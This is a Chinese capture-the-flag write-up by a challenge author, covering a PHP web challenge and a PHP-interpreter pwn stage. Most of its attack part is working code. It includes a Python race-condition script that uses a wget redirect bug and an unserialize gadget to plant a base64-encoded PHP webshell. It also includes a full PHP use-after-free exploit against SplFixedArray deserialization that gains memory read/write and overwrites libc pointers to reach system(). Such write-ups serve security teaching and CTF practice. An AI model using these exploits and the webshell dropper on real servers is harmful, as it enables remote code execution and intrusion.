有幸作为题目的出题人,强行给晨升大佬的pwn套了一个web
another php共分为两部分,web&pwn
web
源码如下:
<?php error_reporting(E_ALL); $firesun_path = ''; class Pwnhub { function __wakeup() { if (isset($_GET['pwnhub'])=="firesun") { echo "Hacked by Firesun!"; eval(base64_decode($_POST['pwnhub'])); } } } function pwnhubfile() { global $firesun_path; file_put_contents($firesun_path . '/firesun', serialize($_SESSION)); } session_start(); register_shutdown_function('pwnhubfile'); function set_context($id) { global $_SESSION, $firesun_path; $firesun_path = '/var/www/data/' . $id; if (!is_dir($firesun_path)) mkdir($firesun_path); chdir($firesun_path); if (!is_file('firesun')) $_SESSION = array(); else $_SESSION = unserialize(file_get_contents('firesun')); }
function download_image($url) { $url = parse_url($origUrl = $url); if (isset($url['scheme']) && $url['scheme'] == 'http') if ($url['path'] == '/pwnhub.png') { if (isset($url['query'])) { die('byebyebye'); } wget_wrapper($origUrl); echo "Nice:)"; } else { echo 'sorry!'; } }
if (!isset($_SESSION['id'])) { $sessId = bin2hex(openssl_random_pseudo_bytes(10)); $_SESSION['id'] = $sessId; } else { $sessId = $_SESSION['id']; } session_write_close(); set_context($sessId); if (isset($_POST['image'])) { $p = $_POST['image']; if (stripos($p, 'php')) { echo 'wow!!!'; die('byebye'); } $pq = str_ireplace("php", "", $p); $pqq = str_ireplace("?", "", $pq); download_image($pqq); echo '<img src="pwnhub.jpg" width=184 height=200/>'; } else { die('no image:('); } ?> <!-- pwnhubs0urcec0d3.zip -->
|
漏洞的关键点其实很明显,就是Pwnhub类中的magic函数中的RCE,但是阅读代码发现,Pwnhub这个类并没有被实例化调用。同时因为pwnhubfile函数的存在,并且$_SESSION[‘id’]是我们不可控的,那么这样就导致了firesun文件的内容都是array()。
于是摆在这里的第一个问题,那就是firesun的内容怎么控制?
在download_image()函数中,封装了一个完全等于wget的函数wget_wrapper,而wegt的版本够低。
if (isset($url['scheme']) && $url['scheme'] == 'http') if ($url['path'] == '/pwnhub.png') { if (isset($url['query'])) { die('byebyebye'); } wget_wrapper($origUrl); echo "Nice:)"; } else { echo 'sorry!'; }
|
而在wget的低版本中存在302的跳转漏洞,也就是如果我们重定向到一个ftp地址的话,服务器就会wget你ftp上的相应文件,而不是最初url的文件。所以,这就意味着,firesun的内容我们是可控的。
于是我们现在只有能够触发下面这个条件就可以实现RCE:
else $_SESSION = unserialize(file_get_contents('firesun'));
|
其实后面就是一个比较简单的点了,利用race condition,让服务器wget的firesun赶在file_put_contents之前生成,这样也就会导致了Pwnhub类被实例化,从而导致了RCE,给出自己的payload:
import gevent.pool import gevent.monkey import requests COOKIES = { 'PHPSESSID':'a7labfa9p995hpda8340rasju73' } def main(): pool = gevent.pool.Pool(20) pool.map(do_job, [i for i in range(40)]) def do_job(num): payload = {'image':'http://150.95.155.106/pwnhub.png', 'pwnhub':'ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UvdmVuLnBocCIsIjw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZShcJF9QT1NUWzEyM10pKTs/PiIpOw=='
} r = requests.post("http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php?pwnhub=firesun", data=payload, cookies=COOKIES) print(str(num) + '|' + r.text) if __name__ == '__main__': gevent.monkey.patch_socket() main()
|
差不多改两三次cookie就OK写入shell:
至此,web部分结束,拿到shell,但是看了眼phpinfo上的disable_functions:
貌似没有shell绕过的可能性XD
PWN
拿到webshell之后可以查看phpinfo();, 发现命令执行相关的函数如system,exec,passthru等都被禁用了。 也没有可行的方法寻找flag。
根据php.diff,可以得知修改部分在php的SplFixedArray类中,作者为SplFixedArray新增了序列化与反序列化方法。简单阅读修改部分可以发现bug存在于反序列化过程中:如果php_var_unserialize失败,会调用zval_ptr_dtor减少对应zval的引用计数,从而导致其被释放,造成use-after-free。通过伪造zval可以达到任意地址读写与代码执行。
拿到reverse shell之后,在根目录发现flag.txt,用flag_reader程序可以读出flag。
P.S. :其实本来是想再加上open_basedir的,但是由于我没时间(比较懒),就没有加。加上之后利用方法基本上就和HITCON-CTF2015的Use-after-flee那一题基本一样了。
利用脚本:
<?php
function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
function readmem($address, $length) { $inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;'; $fakezval = ptr2str($address); $fakezval .= ptr2str($length); $fakezval .= "\x00\x00\x00\xff"; $fakezval .= "\x06"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"'; $mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';'; $a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data = unserialize($a); return substr($data[2][2], 0, $length); }
function parse_libc() { $maps = file_get_contents("/proc/self/maps"); preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r); $result = hexdec($r[1]); return $result; }
$libc = parse_libc(); echo "libc_base = ".$libc."\n"; $system = ptr2str($libc + 0x46590); $bss = $libc + 0x3C0000;
$inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;'; $fakezval = ptr2str(0); $fakezval .= ptr2str(0x7fffffff); $fakezval .= "\x01\x00\x00\x00"; $fakezval .= "\x06"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"'; $mid = 'x:7;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';i:5;?:5;'; $a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}'; $data = unserialize($a); var_dump($data);
echo bin2hex($data[5]);
$inner1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;'; $fakezval1 = ptr2str($bss); $fakezval1 .= ptr2str(8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $inner2 = 's:'.strlen($fakezval1).':"'.$fakezval1.'"'; $mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner1).':{'.$inner1.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';'; $a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}'; $data1 = unserialize($a); $y = $data1[2][2]; $y[0] = $system[0]; $y[1] = $system[1]; $y[2] = $system[2]; $y[3] = $system[3]; $y[4] = $system[4]; $y[5] = $system[5]; $y[6] = $system[6]; $y[7] = $system[7];
file_put_contents("/tmp/a", "bash -c 'echo 123 > /tmp/hello'");
$inner_1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;'; $fakezval_1 = "sh /*/a;"; $fakezval_1 .= ptr2str($bss-8); $fakezval_1 .= "\x01\x00\x00\x00"; $fakezval_1 .= "\x05"; $fakezval_1 .= "\x00"; $fakezval_1 .= "\x00\x00"; $inner_2 = 's:'.strlen($fakezval_1).':"'.$fakezval_1.'"'; $mid_1 = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner_1).':{'.$inner_1.'}i:3;'.$inner_2.';i:4;'.$inner_2.';i:5;'.$inner_2.';'; $a_1 = 'C:13:"SplFixedArray":'.strlen($mid_1).':{'.$mid_1.'}'; $data_8 = unserialize($a_1); $data_8[2][2] = 1;
echo "Done!\n"; ?>
|